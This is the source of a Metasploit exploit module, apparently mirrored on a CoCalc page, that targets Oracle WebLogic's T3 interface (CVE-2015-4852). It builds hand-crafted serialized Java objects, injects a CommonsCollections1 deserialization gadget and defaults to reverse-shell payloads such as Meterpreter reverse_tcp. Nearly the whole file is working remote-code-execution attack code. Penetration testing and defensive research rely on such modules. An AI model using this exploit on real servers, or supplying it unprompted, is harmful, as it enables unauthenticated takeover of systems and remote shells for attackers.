CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
class MetasploitModule < Msf::Exploit::Remote
8
  Rank = ExcellentRanking
9

10
  include Msf::Exploit::Remote::Tcp
11
  include Msf::Exploit::JavaDeserialization
12

13
  def initialize(info={})
14
    super(update_info(info,
15
      'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',
16
      'Description' => %q{
17
        An unauthenticated attacker with network access to the Oracle Weblogic Server T3
18
        interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)
19
        to the interface to execute code on vulnerable hosts.
20
      },
21
      'Author' =>
22
        [
23
        'Andres Rodriguez',  # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
24
        'Stephen Breen',     # Vulnerability Discovery
25
        'Aaron Soto',        # Reverse Engineering JSO and ysoserial blobs
26
        'Steve Embling',     # T3S porting and testing
27
        ],
28
      'License' => MSF_LICENSE,
29
      'References' =>
30
        [
31
          ['CVE', '2015-4852']
32
        ],
33
      'Privileged' => false,
34
      'Platform' => %w{ unix win solaris },
35
      'Targets' =>
36
        [
37
          [ 'Unix',
38
            'Platform' => 'unix',
39
            'Arch' => ARCH_CMD,
40
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
41
            'Payload' => {
42
              'Compat' => {'PayloadType' => 'cmd'}
43
            }
44
          ],
45
          [ 'Windows',
46
            'Platform' => 'win',
47
            'Payload' => {},
48
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
49
          ],
50
          [ 'Solaris',
51
            'Platform' => 'solaris',
52
            'Arch' => ARCH_CMD,
53
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
54
            'Payload' => {
55
              'Space'       => 2048,
56
              'DisableNops' => true,
57
              'Compat'      =>
58
                {
59
                  'PayloadType' => 'cmd',
60
                  'RequiredCmd' => 'generic perl telnet',
61
                }
62
            }
63
          ]
64
        ],
65
      'DefaultTarget' => 0,
66
      'DisclosureDate' => '2015-01-28',
67
      'Notes' => {
68
        'Reliability' => [REPEATABLE_SESSION],
69
        'Stability' => [CRASH_SAFE],
70
        'SideEffects' => [IOC_IN_LOGS]
71
      }))
72

73
      register_options([
74
        Opt::RPORT(7001),
75
      ])
76

77
      register_advanced_options([
78
        OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
79
      ])
80
  end
81

82
=begin   This check is currently incompatible with the Tcp mixin.  :-(
83
  def check
84
    resp = send_request_cgi(
85
      'method' => 'GET',
86
      'uri'    => '/console/login/LoginForm.jsp'
87
    )
88

89
    return CheckCode::Unknown unless resp && resp.code == 200
90

91
    unless resp.body.include?('Oracle WebLogic Server Administration Console')
92
      vprint_warning("Oracle WebLogic Server banner cannot be found")
93
      return CheckCode::Unknown
94
    end
95

96
    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
97
    unless version
98
      vprint_warning("Oracle WebLogic Server version cannot be found")
99
      return CheckCode::Unknown
100
    end
101

102
    version = Rex::Version.new(version)
103
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
104
    case
105
    when version.to_s.start_with?('10.3')
106
      return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
107
    when version.to_s.start_with?('12.1.2')
108
      return CheckCode::Appears unless version > Rex::Version.new('12.1.2.0')
109
    when version.to_s.start_with?('12.1.3')
110
      return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
111
    when version.to_s.start_with?('12.2')
112
      return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')
113
    end
114

115
    return CheckCode::Safe
116
  end
117
=end
118

119
  def t3_handshake
120
    # retrieved from network traffic
121
    if !datastore['SSL'] || datastore['FORCE_T3']
122
      shake = 't3'
123
    else
124
      shake = 't3s'
125
    end
126
    shake << " 12.2.1\n"
127
    shake << "AS:255\n"
128
    shake << "HL:19\n"
129
    shake << "MS:10000000\n\n"
130

131
    sock.put(shake)
132
    sleep(1)
133
    sock.get_once
134
  end
135

136
  def build_t3_request_object
137
    # T3 request serialized data
138
    # retrieved by watching network traffic
139
    # This is a proprietary, undocumented protocol
140

141
    # TODO: Cite a source for the dissection of in the following 14 lines:
142
    data =  '000005c3'                                     # lenght of the packet
143
    data << '01'                                           # CMD_IDENTIFY_REQUEST
144
    data << '65'                                           # QOS
145
    data << '01'                                           # Flags:
146
                                                           #   CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
147
                                                           #   CONTEXT_TX_FLAG = 2
148
                                                           #   CONTEXT_TRACE_FLAG = 4
149
                                                           #   CONTEXT_EXTENDED_FLAG = 8
150
                                                           #   CONTEXT_EXTENDED_USER_FLAG = 16
151
    data << 'ffffffff'                                     # response id
152
    data << 'ffffffff'                                     # invocable id
153
    data << '0000006a'                                     # abbrev offset
154
    data << '0000ea60'                                     # reconnect timeout ??
155

156
    data << '0000001900937b484a'
157
    data << '56fa4a777666f581daa4f5b90e2aebfc607499'
158
    data << 'b4027973720078720178720278700000000a00'
159
    data << '00000300000000000000060070707070707000'
160
    data << '00000a000000030000000000000006007006'
161

162
    data << 'fe010000'                                     # ----- separator -----
163

164
    data << 'aced0005'                                     # JSO v5 header
165
    data << '73'                                           # object header
166
    data << '72001d'                                       # className (29 bytes):
167
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
168
    data << '5461626c65456e747279'                         #     (continued)
169
    data << '2f52658157f4f9ed'                             #   serialVersionUID
170
    data << '0c00007870'                                   #   remainder of object header
171
    data << '72'                                           # object header
172
    data << '00247765626c6f6769632e636f6d6d6f6e2e696e74'   #   className (36 bytes): weblogic.common.internal.PackageInfo
173
    data << '65726e616c2e5061636b616765496e666f'           #     (continued)
174
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
175
    data << '02'                                           #   SC_SERIALIZABLE
176
    data << '0008'                                         #   fieldCount = 8
177
    data << '4900056d616a6f72'                             #     0: Int: major
178
    data << '4900056d696e6f72'                             #     1: Int: minor
179
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
180
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
181
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
182
    data << '4c0009696d706c5469746c65'                     #     5: Obj: implTitle
183
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #        java/lang/String
184
    data << '4c000a696d706c56656e646f72'                   #     6: Obj: implVendor
185
    data << '71007e0003'                                   #        (Handle) 0x007e0003
186
    data << '4c000b696d706c56657273696f6e'                 #     7: Obj: implVersion
187
    data << '71007e0003'                                   #        (Handle) 0x007e0003
188
    data << '78707702000078'                               #   block footers
189

190
    data << 'fe010000'                                     # ----- separator -----
191

192
    data << 'aced0005'                                     # JSO v5 header
193
    data << '7372'                                         #   object header
194
    data << '001d7765626c6f6769632e726a766d2e436c6173'     #   className (29 bytes): weblogic.rjvm.ClassTableEntry
195
    data << '735461626c65456e747279'                       #     (continued)
196
    data << '2f52658157f4f9ed'                             #   serialVersionUID
197
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
198
    data << '00007870'                                     #   remainder of object header
199
    data << '72'                                           # object header
200
    data << '00247765626c6f6769632e636f6d6d6f6e2e696'      #   className (36 bytes): weblogic.common.internal.VersionInfo
201
    data << 'e7465726e616c2e56657273696f6e496e666f'        #     (continued)
202
    data << '972245516452463e'                             #   serialVersionUID
203
    data << '02'                                           #   SC_SERIALIZABLE
204
    data << '0003'                                         #   fieldCount = 3
205
    data << '5b0008'                                       #   array header (8 bytes)
206
    data << '7061636b61676573'                             #     ARRAY NAME = 'packages'
207
    data << '740027'                                       #     TC_STRING className1 (39 bytes)
208
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #       weblogic/common/internal/PackageInfo
209
    data << '6e7465726e616c2f5061636b616765496e666f'       #       (continued)
210
    data << '3b'                                           #       (continued)
211
    data << '4c000e'                                       #   object header (14 bytes)
212
    data << '72656c6561736556657273696f6e'                 #     releaseVersion
213
    data << '740012'                                       #     TC_STRING (18 bytes)
214
    data << '4c6a6176612f6c616e672f537472696e673b'         #       versionInfoAsBytes
215
    data << '5b0012'                                       #   array header (18 bytes)
216
    data << '76657273696f6e496e666f41734279746573'         #     ARRAY NAME = java/lang/String;
217
    data << '740002'                                       #     TC_STRING (2 bytes)
218
    data << '5b42'                                         #       0x5b42 = [B
219
    data << '78'                                           # block footer
220

221
    data << '720024'                                       # class (36 bytes)
222
    data << '7765626c6f6769632e636f6d6d6f6e2e696e'         #   weblogic.common.internal.PackageInfo
223
    data << '7465726e616c2e5061636b616765496e666f'         #     (continued)
224
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
225

226
    data << '02'                                           #   SC_SERIALIZABLE
227
    data << '0008'                                         #   fieldCount = 8
228
    data << '4900056d616a6f72'                             #   0: Int: major
229
    data << '4900056d696e6f72'                             #   1: Int: minor
230
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
231
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
232
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
233
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
234
    data << '71'                                           #      TC_REFERENCE
235
    data << '007e0004'                                     #      Handle = 0x007e0004
236
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
237
    data << '71'                                           #      TC_REFERENCE
238
    data << '007e0004'                                     #      Handle = 0x007e0004
239
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
240
    data << '71'                                           #      TC_REFERENCE
241
    data << '007e0004'                                     #      Handle = 0x007e0004
242
    data << '78'                                           # class footer
243
    data << '70'                                           # TC_NULL
244
    data << '77020000'                                     # BLOCKDATA (2 bytes): 0x0000
245
    data << '78'                                           # block footer
246

247
    data << 'fe010000'                                     # ----- separator -----
248

249
    data << 'aced0005'                                     # JSO v5 header
250
    data << '73'                                           # object header
251
    data << '72001d'                                       # className (29 bytes):
252
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
253
    data << '5461626c65456e747279'                         #     (continued)
254
    data << '2f52658157f4f9ed'                             #   serialVersionUID
255
    data << '0c00007870'                                   #   remainder of object header
256
    data << '720021'                                       # className (33 bytes)
257
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   weblogic.common.internal.PeerInfo
258
    data << '65726e616c2e50656572496e666f'                 #     (continued)
259
    data << '585474f39bc908f1'                             #   serialVersionUID
260
    data << '02'                                           #   SC_SERIALIZABLE
261
    data << '0006'                                         #   fieldCount = 6
262
    data << '4900056d616a6f72'                             #     0: Int: major
263
    data << '4900056d696e6f72'                             #     1: Int: minor
264
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
265
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
266
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
267
    data << '5b00087061636b61676573'                       #     5: Array: packages
268
    data << '740027'                                       #        TC_STRING (39 bytes)
269
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #        Lweblogic/common/internal/PackageInfo;
270
    data << '6e7465726e616c2f5061636b616765496e666f'       #        (continued)
271
    data << '3b'                                           #        (continued)
272
    data << '78'                                           # block footer
273
    data << '720024'                                       # class header
274
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   Name = Lweblogic/common/internal/PackageInfo;
275
    data << '65726e616c2e56657273696f6e496e666f'           #     (continued)
276
    data << '972245516452463e'                             #   serialVersionUID
277
    data << '02'                                           #   SC_SERIALIZABLE
278
    data << '0003'                                         #   fieldCount = 3
279
    data << '5b0008'                                       #   0: Array
280
    data << '7061636b6167657371'                           #      packages
281
    data << '007e0003'                                     #      Handle = 0x00730003
282
    data << '4c000e72656c6561736556657273696f6e'           #   1: Obj: releaseVersion
283
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #      Ljava/lang/String;
284
    data << '5b001276657273696f6e496e666f41734279746573'   #   2: Array: versionInfoAsBytes
285
    data << '740002'                                       #      TC_STRING (2 bytes)
286
    data << '5b42'                                         #      VALUE = 0x5b42 = [B
287
    data << '78'                                           # block footer
288
    data << '720024'                                       # class header
289
    data << '7765626c6f6769632e636f6d6d6f6e2e696e746572'   #   Name = weblogic.common.internal.PackageInfo
290
    data << '6e616c2e5061636b616765496e666f'               #     (continued)
291
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
292
    data << '02'                                           #   SC_SERIALIZABLE
293
    data << '0008'                                         #   fieldCount = 8
294
    data << '4900056d616a6f72'                             #   0: Int: major
295
    data << '4900056d696e6f72'                             #   1: Int: minor
296
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
297
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
298
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
299
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
300
    data << '71'                                           #      TC_REFERENCE
301
    data << '007e0005'                                     #      Handle = 0x007e0005
302
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
303
    data << '71'                                           #      TC_REFERENCE
304
    data << '007e0005'                                     #      Handle = 0x007e0005
305
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
306
    data << '71'                                           #      TC_REFERENCE
307
    data << '007e0005'                                     #      Handle = 0x007e0005
308
    data << '78'                                           # class footer
309
    data << '707702000078'                                 # block footers
310

311
    data << 'fe00ff'                                       # this cruft again.  some kind of footer
312

313
    data << 'fe010000'                                     # ----- separator -----
314

315
    # weblogic.rjvm.JVMID object
316
    data << 'aced0005'                                     # JSO v5 header
317
    data << '73'                                           # object header
318
    data << '720013'                                       #   class header
319
    data << '7765626c6f6769632e726a766d2e4a564d4944'       #     name = 'weblogic.rjvm.JVMID'
320
    data << 'dc49c23ede121e2a'                             #     serialVersionUID
321
    data << '0c'                                           #     EXTERNALIZABLE | BLOCKDATA
322
    data << '0000'                                         #     fieldCount = 0   (!!!)
323
    data << '78'                                           #   block footer
324
    data << '70'                                           # NULL
325
    data << '7750'                                         # block header (80 bytes)
326
    data << '21'                                           #   !
327
    data << '000000000000000000'                           #   9 NULL BYTES
328

329
    data << '0d'                                           #   strLength = 13 bytes
330
    #data << '3139322e3136382e312e323237'                  #   original PoC string = 192.168.1.227
331
    data << '3030302e3030302e3030302e30'                   #   new string = 000.000.000.0
332
                                                           #      (must be an IP, and length isn't trivially editable)
333
    data << '00'                                           #   \0
334

335
    data << '12'                                           #   strLength = 18 bytes
336
    #data << '57494e2d4147444d565155423154362e6568'        #   original str = WIN-AGDMVQUB1T6.eh
337
    data << rand_text_alphanumeric(18).unpack('H*')[0]
338

339
    data << '83348cd6'                                     #  original = ??? UNKNOWN ???  (Note: Cannot be randomized)
340

341
    data << '000000070000'                                 #   ??? UNKNOWN ???
342
    data << rport.to_s(16).rjust(4, '0')                   #   callback port
343
    data << 'ffffffffffffffffffffffffffffffffffffff'       #   ??? UNKNOWN ???
344
    data << 'ffffffffff'                                   #   ??? UNKNOWN ???
345
    data << '78'                                           # block footer
346

347
    data << 'fe010000'                                     # ----- separator -----
348

349
    # weblogic.rjvm.JVMID object
350
    data << 'aced0005'                                     # JSO v5 header
351
    data << '73'                                           # object header
352
    data << '72'                                           #   class
353
    data << '00137765626c6f6769632e726a766d2e4a564d4944'   #   Name: weblogic.rjvm.JVMID
354
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
355
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
356
    data << '0000'                                         #   fieldCount = 0
357
    data << '78'                                           # end block
358
    data << '70'                                           # TC_NULL
359
    data << '77'                                           # block header
360
    data << '20'                                           #   length = 32 bytes
361
    data << '0114dc42bd071a772700'                         #   old string = ??? UNKNOWN ???
362
    #data << rand_text_alphanumeric(10).unpack('H*')[0]    #     (NOTE: RANDOMIZATION BREAKS THINGS)
363

364
    data << '0d'                                           #   string length = 13 bytes (NOTE: do not edit)
365
    #data << '3234322e3231342e312e323534'                  #   original string = 242.214.1.254
366
    data << '3030302e3030302e3030302e30'                   #   new string = 000.000.000.0
367
                                                           #      (must be an IP, and length isn't trivially editable)
368

369
    #data << '61863d1d'                                    #   original string = ??? UNKNOWN ???
370
    data << rand_text_alphanumeric(4).unpack('H*')[0]      #   new = randomized
371

372
    data << '00000000'                                     #   NULL BYTES
373
    data << '78'                                           # block footer
374

375
    sock.put([data].pack('H*'))
376
    sleep(1)
377
    sock.get_once
378
  end
379

380
  def send_payload_objdata
381
    # basic weblogic ClassTableEntry object (serialized)
382
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
383
    objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'
384
    objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'
385
    objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
386

387
    objdata << 'fe010000'                                  # ----- separator -----
388

389
    objdata << 'aced0005'                                  # JSO v5 header
390
    objdata << '73'                                        # object header
391
    objdata << '72'                                        #   class
392
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
393
    objdata << '73735461626c65456e747279'                  #     (cont)
394
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
395
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
396
    objdata << '0000'                                      #   fieldCount = 0
397
    objdata << '7870'                                      #   remaining object header
398
    objdata << '72'                                        # class header
399
    objdata << '00025b42'                                  #   Name: 0x5b42
400
    objdata << 'acf317f8060854e0'                          #   serialVersionUID
401
    objdata << '02'                                        #   SERIALIZABLE
402
    objdata << '0000'                                      #   fieldCount = 0
403
    objdata << '7870'                                      #   class footer
404
    objdata << '77'                                        # block header
405
    objdata << '020000'                                    #   contents = 0x0000
406
    objdata << '78'                                        #   block footer
407

408
    objdata << 'fe010000'                                  # ----- separator -----
409

410
    objdata << 'aced0005'                                  # JSO v5 header
411
    objdata << '73'                                        # object header
412
    objdata << '72'                                        #   class
413
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
414
    objdata << '73735461626c65456e747279'                  #     (cont)
415
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
416
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
417
    objdata << '0000'                                      #   fieldCount = 0
418
    objdata << '7870'                                      #   remaining object header
419
    objdata << '72'                                        # class header
420

421
    objdata << '00135b4c6a6176612e6c616e672e4f626a'        #   Name: [Ljava.lang.Object;
422
    objdata << '6563743b'                                  #     (cont)
423
    objdata << '90ce589f1073296c'                          #   serialVersionUID
424
    objdata << '02'                                        #   SERIALIZABLE
425
    objdata << '0000'                                      #   fieldCount = 0
426
    objdata << '7870'                                      #   remaining object header
427
    objdata << '77'                                        # block header
428
    objdata << '020000'                                    #   contents = 0x0000
429
    objdata << '78'                                        #   block footer
430

431
    objdata << 'fe010000'                                  # ----- separator -----
432

433
    objdata << 'aced0005'                                  # JSO v5 header
434
    objdata << '73'                                        # object header
435
    objdata << '72'                                        #   class
436

437
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
438
    objdata << '73735461626c65456e747279'                  #     (cont)
439
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
440
    objdata << '0c'                                        #   SERIALIZABLE | BLOCKDATA
441
    objdata << '0000'                                      #   fieldCount = 0
442
    objdata << '7870'                                      #   block footer
443
    objdata << '72'                                        # class header
444
    objdata << '00106a6176612e7574696c2e566563746f72'      #   Name: java.util.Vector
445
    objdata << 'd9977d5b803baf01'                          #   serialVersionUID
446
    objdata << '03'                                        #   WRITE_METHOD | SERIALIZABLE
447
    objdata << '0003'                                      #   fieldCount = 3
448
    objdata << '4900116361706163697479496e6372656d656e74'  #   0: Int: capacityIncrement
449
    objdata << '49000c656c656d656e74436f756e74'            #   1: Int: elementCount
450
    objdata << '5b000b656c656d656e7444617461'              #   2: Array: elementData
451
    objdata << '7400135b4c6a6176612f6c616e672f4f626a6563'  #   3: String: [Ljava/lang/Object;
452
    objdata << '743b'                                      #      (cont)
453
    objdata << '7870'                                      #   remaining object header
454
    objdata << '77'                                        # block header
455
    objdata << '020000'                                    #   contents = 0x0000
456
    objdata << '78'                                        #   block footer
457

458
    objdata << 'fe010000'                                  # ----- separator -----
459

460
    java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)
461
    objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
462

463
    objdata << 'fe010000'                                  # ----- separator -----
464

465
    # basic weblogic ImmutableServiceContext object (serialized)
466
    objdata << 'aced0005'                                  # JSO v5 header
467
    objdata << '73'                                        # object header
468
    objdata << '72'                                        #   class
469
    objdata << '00257765626c6f6769632e726a766d2e496d6d75'  #   Name: weblogic.rjvm.ImmutableServiceContext
470
    objdata << '7461626c6553657276696365436f6e74657874'    #     (cont)
471
    objdata << 'ddcba8706386f0ba'                          #   serialVersionUID
472
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
473
    objdata << '0000'                                      #   fieldCount = 0
474
    objdata << '78'                                        #   object footer
475
    objdata << '72'                                        # block header
476
    objdata << '00297765626c6f6769632e726d692e70726f76'    #   Name: weblogic.rmi.provider.BasicServiceContext
477
    objdata << '696465722e426173696353657276696365436f'    #     (cont)
478
    objdata << '6e74657874'                                #     (cont)
479
    objdata << 'e4632236c5d4a71e'                          #   serialVersionUID
480
    objdata << '0c'                                        #     EXTERNALIZABLE | BLOCKDATA
481
    objdata << '0000'                                      #   fieldCount = 0
482
    objdata << '7870'                                      #   block footer
483
    objdata << '77'                                        # block header
484
    objdata << '020600'                                    #   contents = 0x0600
485
    objdata << '7372'                                      #   class descriptor
486
    objdata << '00267765626c6f6769632e726d692e696e7465'    #     Name: weblogic.rmi.internal.MethodDescriptor
487
    objdata << '726e616c2e4d6574686f644465736372697074'    #       (cont)
488
    objdata << '6f72'                                      #       (cont)
489
    objdata << '12485a828af7f67b'                          #     serialVersionUID
490
    objdata << '0c'                                        #     EXTERNALIZABLE | BLOCKDATA
491
    objdata << '0000'                                      #     fieldCount = 0
492
    objdata << '7870'                                      #     class footer
493
    objdata << '77'                                        #   class data
494

495
    #payload << '34002e61757468656e746963617465284c7765'    #     old contents = 0x002e61757468656e746963617465284c7765
496
    #payload << '626c6f6769632e73656375726974792e61636c'    #                    626c6f6769632e73656375726974792e61636c
497
    #payload << '2e55736572496e666f3b290000001b'            #                    2e55736572496e666f3b290000001b
498
    objdata << rand_text_alphanumeric(52).unpack('H*')[0]  #   new = randomized
499
    objdata << '78'                                        #     class footer
500
    objdata << '78'                                        #   block footer
501
                                                           # MISSING OBJECT FOOTER (0x78)
502

503
    objdata << 'fe00ff'                                    # this cruft again.  some kind of footer
504

505
    # sets the length of the stream
506
    data = ((objdata.length >> 1) + 4).to_s(16).rjust(8,'0')
507
    data << objdata
508

509
    sock.put([data].pack('H*'))
510
    sleep(1)
511
    sock.get_once
512

513
  end
514

515
  def exploit
516
    connect
517

518
    print_status('Sending handshake...')
519
    t3_handshake
520

521
    print_status('Sending T3 request object...')
522
    build_t3_request_object
523

524
    print_status('Sending client object payload...')
525
    send_payload_objdata
526

527
    handler
528
    disconnect
529
  end
530
end
531

532